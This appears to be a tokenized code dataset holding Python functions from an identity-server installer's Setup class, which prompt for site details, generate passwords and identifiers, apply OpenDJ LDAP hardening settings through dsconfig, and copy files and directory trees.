"not_", "self_", "._", "countr", "y", "Code_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test", "Code_", "=_", "raw", "\\u", "input_", "(_", "'", "2", " ", "Char", "acte", "r", " ", "Count", "ry", " ", "Code", ":", " ", "'_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "test", "Code_", ")_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "countr", "y", "Code_", "=_", "test", "Code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Count", "ry", " ", "code", " ", "shou", "ld", " ", "only", " ", "be", " ", "two", " ", "character", "s", ".", " ", "Tr", "y", " ", "again", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "not_", "self_", "._", "city_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "city_", "=_", "raw", "\\u", "input_", "(_", "'", "Cit", "y", ":", " ", "'_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "not_", "self_", "._", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "state_", "=_", "raw", "\\u", "input_", "(_", "'", "State", " ", "or", " ", "Provinc", "e", ":", " ", "'_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "admin", "\\u", "email_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tld", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tld", "_", "=_", "\".\"_", "._", "join_", "(_", "self_", "._", "hostname_", "._", "split_", "(_", "\".\"_", ")_", "[_", "-_", "2_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tld", "_", "=_", "self_", "._", "hostname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "admin", "\\u", "email_", "=_", "\"", "support", "@", "%", "s", "\"_", "%_", "tld", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "http", "d", "Key", "Pass_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "http", "d", "Key", "Pass_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "ldap", "Pass_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ldap", "Pass_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "shi", "b", "Jk", "s", "Pass_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "shi", "b", "Jk", "s", "Pass_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "asi", "mba", "Jk", "s", "Pass_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "asi", "mba", "Jk", "s", "Pass_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "encode", "\\u", "salt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "encode", "\\u", "salt_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "+_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "base", "In", "um_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "base", "In", "um_", "=_", "'@", "!%", "s", ".", "%", "s", ".", "%", "s", ".", "%", "s", "'_", "%_", "tuple_", "(_", "[_", "self_", "._", "get", "Quad", "_", "(_", ")_", "for_", "i_", "in_", "xrange_", "(_", "4_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "inu", "m", "Org", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "org", "Tw", "o", "Quad", "s_", "=_", "'%", "s", ".", "%", "s", "'_", "%_", "tuple_", "(_", "[_", "self_", "._", "get", "Quad", "_", "(_", ")_", "for_", "i_", "in_", "xrange_", "(_", "2_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "inu", "m", "Org", "_", "=_", "'%", "s", "!", "0001", "!%", "s", "'_", "%_", "(_", "self_", "._", "base", "In", "um_", ",_", "org", "Tw", "o", "Quad", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "inu", "m", "Appliance", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "appliance", "Tw", "o", "Quad", "s_", "=_", "'%", "s", ".", "%", "s", "'_", "%_", "tuple_", "(_", "[_", "self_", "._", "get", "Quad", "_", "(_", ")_", "for_", "i_", "in_", "xrange_", "(_", "2_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "inu", "m", "Appliance", "_", "=_", "'%", "s", "!", "0002", "!%", "s", "'_", "%_", "(_", "self_", "._", "base", "In", "um_", ",_", "appliance", "Tw", "o", "Quad", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "ox", "auth", "\\u", "client", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "client", "Tw", "o", "Quad", "s_", "=_", "'%", "s", ".", "%", "s", "'_", "%_", "tuple_", "(_", "[_", "self_", "._", "get", "Quad", "_", "(_", ")_", "for_", "i_", "in_", "xrange_", "(_", "2_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ox", "auth", "\\u", "client", "\\u", "id_", "=_", "'%", "s", "!", "0008", "!%", "s", "'_", "%_", "(_", "self_", "._", "inu", "m", "Org", "_", ",_", "client", "Tw", "o", "Quad", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "sci", "m", "\\u", "rs", "\\u", "client", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sci", "m", "Client", "Tw", "o", "Quad", "s_", "=_", "'%", "s", ".", "%", "s", "'_", "%_", "tuple_", "(_", "[_", "self_", "._", "get", "Quad", "_", "(_", ")_", "for_", "i_", "in_", "xrange_", "(_", "2_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sci", "m", "\\u", "rs", "\\u", "client", "\\u", "id_", "=_", "'%", "s", "!", "0008", "!%", "s", "'_", "%_", "(_", "self_", "._", "inu", "m", "Org", "_", ",_", "sci", "m", "Client", "Tw", "o", "Quad", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "sci", "m", "\\u", "rp", "\\u", "client", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sci", "m", "Client", "Tw", "o", "Quad", "s_", "=_", "'%", "s", ".", "%", "s", "'_", "%_", "tuple_", "(_", "[_", "self_", "._", "get", "Quad", "_", "(_", ")_", "for_", "i_", "in_", "xrange_", "(_", "2_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "sci", "m", "\\u", "rp", "\\u", "client", "\\u", "id_", "=_", "'%", "s", "!", "0008", "!%", "s", "'_", "%_", "(_", "self_", "._", "inu", "m", "Org", "_", ",_", "sci", "m", "Client", "Tw", "o", "Quad", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "inu", "m", "Appliance", "FN_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "inu", "m", "Appliance", "FN_", "=_", "self_", "._", "inu", "m", "Appliance", "_", "._", "replace_", "(_", "'@'_", ",_", "''_", ")_", "._", "replace_", "(_", "'!'_", ",_", "''_", ")_", "._", "replace_", "(_", "'.'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "inu", "m", "Org", "FN_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "inu", "m", "Org", "FN_", "=_", "self_", "._", "inu", "m", "Org", "_", "._", "replace_", "(_", "'@'_", ",_", "''_", ")_", "._", "replace_", "(_", "'!'_", ",_", "''_", ")_", "._", "replace_", "(_", "'.'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "choose", "\\u", "from", "\\u", "list_", "(_", "self_", ",_", "list", "\\u", "of", "\\u", "choices_", ",_", "choice", "\\u", "name_", "=_", "\"", "item", "\"_", ",_", "default", "\\u", "choice", "\\u", "index_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return", "\\u", "value_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choice", "\\u", "map_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chosen", "\\u", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "Select", " ", "the", " ", "number", " ", "for", " ", "the", " ", "%", "s", " ", "from", " ", "the", " ", "follow", "ing", " ", "list", ":\"_", "%_", "choice", "\\u", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "choice_", "in_", "list", "\\u", "of", "\\u", "choices_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "choice", "\\u", "map_", "[_", "chosen", "\\u", "index_", "]_", "=_", "choice_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chosen", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", " ", " ", "[", "%", "i", "]", " ", " ", " ", "%", "s", "\"_", "%_", "(_", "chosen", "\\u", "index_", ",_", "choice_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "not_", "return", "\\u", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "choice", "\\u", "number_", "=_", "self_", "._", "get", "Prompt_", "(_", "\"", "Ple", "ase", " ", "select", " ", "a", " ", "number", " ", "liste", "d", " ", "above", "\"_", ",_", "str_", "(_", "default", "\\u", "choice", "\\u", "index_", "+_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "choice", "\\u", "number_", "=_", "int_", "(_", "choice", "\\u", "number_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "choice", "\\u", "number_", ">=_", "0_", ")_", "&_", "(_", "choice", "\\u", "number_", "<_", "len_", "(_", "list", "\\u", "of", "\\u", "choices_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return", "\\u", "value_", "=_", "choice", "\\u", "map_", "[_", "choice", "\\u", "number_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'\"", "%", "i", "\"", " ", "is", " ", "not", " ", "a", " ", "valid", " ", "choice", "'_", "%_", "(_", "choice", "\\u", "number_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Cann", "ot", " ", "convert", " ", "\"%", "s", "\"", " ", "to", " ", "a", " ", "number", "'_", "%_", "choice", "\\u", "number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "return", "\\u", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "configur", "e\\u", "opend", "j_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Maki", "ng", " ", "LDA", "P", " ", "configura", "tion", " ", "change", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "opend", "j", "\\u", "version_", "==_", "\"", "2.6", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opend", "j", "\\u", "prop", "\\u", "name_", "=_", "'", "global", "-", "aci", ":\\\\'", "(", "target", "attr", "!=", "\"", "user", "Passw", "ord", "||", "auth", "Passw", "ord", "||", "change", "s", "||", "change", "Number", "||", "change", "Type", "||", "change", "Time", "||", "target", "DN", "||", "new", "RD", "N", "||", "new", "Super", "ior", "||", "delete", "Old", "RD", "N", "||", "target", "Entr", "y", "UU", "ID", "||", "change", "Initiat", "ors", "Name", "||", "change", "Log", "Cooki", "e", "||", "include", "d", "Attribute", "s", "\")", "(", "version", " ", "3.0", ";", " ", "acl", " ", "\"", "Ano", "nym", "ous", " ", "read", " ", "access", "\";", " ", "allow", " ", "(", "read", ",", "search", ",", "compare", ")", " ", "userd", "n", "=\"", "ldap", ":///", "any", "one", "\";", ")\\\\", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opend", "j", "\\u", "prop", "\\u", "name_", "=_", "'", "global", "-", "aci", ":\\\\'", "(", "target", "attr", "!=", "\"", "user", "Passw", "ord", "||", "auth", "Passw", "ord", "||", "debug", "search", "index", "||", "change", "s", "||", "change", "Number", "||", "change", "Type", "||", "change", "Time", "||", "target", "DN", "||", "new", "RD", "N", "||", "new", "Super", "ior", "||", "delete", "Old", "RD", "N", "\")", "(", "version", " ", "3.0", ";", " ", "acl", " ", "\"", "Ano", "nym", "ous", " ", "read", " ", "access", "\";", " ", "allow", " ", "(", "read", ",", "search", ",", "compare", ")", " ", "userd", "n", "=\"", "ldap", ":///", "any", "one", "\";", ")\\\\", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "config", "\\u", "changes_", "=_", "[_", "[_", "'", "set", "-", "global", "-", "configura", "tion", "-", "prop", "'_", ",_", "'--", "set", "'_", ",_", "'", "single", "-", "structural", "-", "objectc", "lass", "-", "behavior", ":", "accept", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "attribute", "-", "synta", "x", "-", "prop", "'_", ",_", "'--", "synta", "x", "-", "name", "'_", ",_", "'\"", "Director", "y", " ", "String", "\"'_", ",_", "'--", "set", "'_", ",_", "'", "allow", "-", "zero", "-", "length", "-", "values", ":", "true", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "password", "-", "policy", "-", "prop", "'_", ",_", "'--", "policy", "-", "name", "'_", ",_", "'\"", "Default", " ", "Passw", "ord", " ", "Polic", "y", "\"'_", ",_", "'--", "set", "'_", ",_", "'", "allow", "-", "pre", "-", "encode", "d", "-", "passwords", ":", "true", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "log", "-", "publi", "sher", "-", "prop", "'_", ",_", "'--", "publi", "sher", "-", "name", "'_", ",_", "'\"", "File", "-", "Base", "d", " ", "Audi", "t", " ", "Log", "ger", "\"'_", ",_", "'--", "set", "'_", ",_", "'", "enable", "d", ":", "true", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "create", "-", "back", "end", "'_", ",_", "'--", "back", "end", "-", "name", "'_", ",_", "'", "site", "'_", ",_", "'--", "set", "'_", ",_", "'", "base", "-", "dn", ":", "o", "=", "site", "'_", ",_", "'--", "type", " ", "%", "s", "'_", "%_", "self_", "._", "ldap", "\\u", "back", "end", "\\u", "type_", ",_", "'--", "set", "'_", ",_", "'", "enable", "d", ":", "true", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "connecti", "on", "-", "handler", "-", "prop", "'_", ",_", "'--", "handler", "-", "name", "'_", ",_", "'\"", "LDA", "P", " ", "Connect", "ion", " ", "Handle", "r", "\"'_", ",_", "'--", "set", "'_", ",_", "'", "enable", "d", ":", "fal", "se", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "access", "-", "control", "-", "handler", "-", "prop", "'_", ",_", "'--", "remove", "'_", ",_", "'%", "s", "'_", "%_", "opend", "j", "\\u", "prop", "\\u", "name_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "global", "-", "configura", "tion", "-", "prop", "'_", ",_", "'--", "set", "'_", ",_", "'", "reject", "-", "unau", "then", "tica", "ted", "-", "request", "s", ":", "true", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "password", "-", "policy", "-", "prop", "'_", ",_", "'--", "policy", "-", "name", "'_", ",_", "'\"", "Default", " ", "Passw", "ord", " ", "Polic", "y", "\"'_", ",_", "'--", "set", "'_", ",_", "'", "default", "-", "password", "-", "storage", "-", "sche", "me", ":\"", "Sal", "ted", " ", "SHA", "-", "512", "\"'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "set", "-", "global", "-", "configura", "tion", "-", "prop", "'_", ",_", "'--", "set", "'_", ",_", "'", "reject", "-", "unau", "then", "tica", "ted", "-", "request", "s", ":", "true", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "changes_", "in_", "config", "\\u", "changes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dsc", "onfi", "g", "Cmd_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "[_", "'", "cd", " ", "%", "s", "/", "bin", " ", ";", " ", "'_", "%_", "self_", "._", "ldap", "Base", "Folder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ldap", "Ds", "config", "Command_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "trust", "All", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "no", "-", "prompt", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "host", "name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ldap", "\\u", "hostname_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "port", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ldap", "\\u", "admin", "\\u", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "bind", "DN", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\"", "%", "s", "\"'_", "%_", "self_", "._", "ldap", "\\u", "bind", "dn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "bind", "Passw", "ord", "File", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ldap", "Pass", "Fn_", "]_", "+_", "changes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "'/", "bin", "/", "su", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ldap", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dsc", "onfi", "g", "Cmd_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "executi", "ng", " ", "config", " ", "change", "s", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "copy", "File_", "(_", "self_", ",_", "in", "File_", ",_", "dest", "Folder_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shutil_", "._", "copy_", "(_", "in", "File_", ",_", "dest", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "\"", "Copie", "d", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "in", "File_", ",_", "dest", "Folder_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "copy", "ing", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "in", "File_", ",_", "dest", "Folder_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "copy", "Tree_", "(_", "self_", ",_", "src_", ",_", "dst_", ",_", "symlinks", "_", "=_", "False_", ",_", "ignore_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "dst_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "dst_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "item_", "in_", "os_", "._", "listdir_", "(_", "src_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "os_", "._", "path_", "._", "join_", "(_", "src_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "os_", "._", "path_", "._", "join_", "(_", "dst_", ",_", "item_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "copy", "Tree_", "(_", "s_", ",_", "d_", ",_", "symlinks", "_", ",_", "ignore_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "d_", ")_", "or_", "os_", "._", "stat_", "(_", "s_", ")_", "._", "st", "\\u", "mtime_", "-_", "os_", "._", "stat_", "(_", "d_", ")_", "._", "st", "\\u", "mtime_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "shutil_", "._", "copy2_", "(_", "s_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "\"", "Copie", "d", " ", "tree", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "src_", ",_", "dst_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "copy", "ing", " ", "tree", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "src_", ",_", "dst_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", 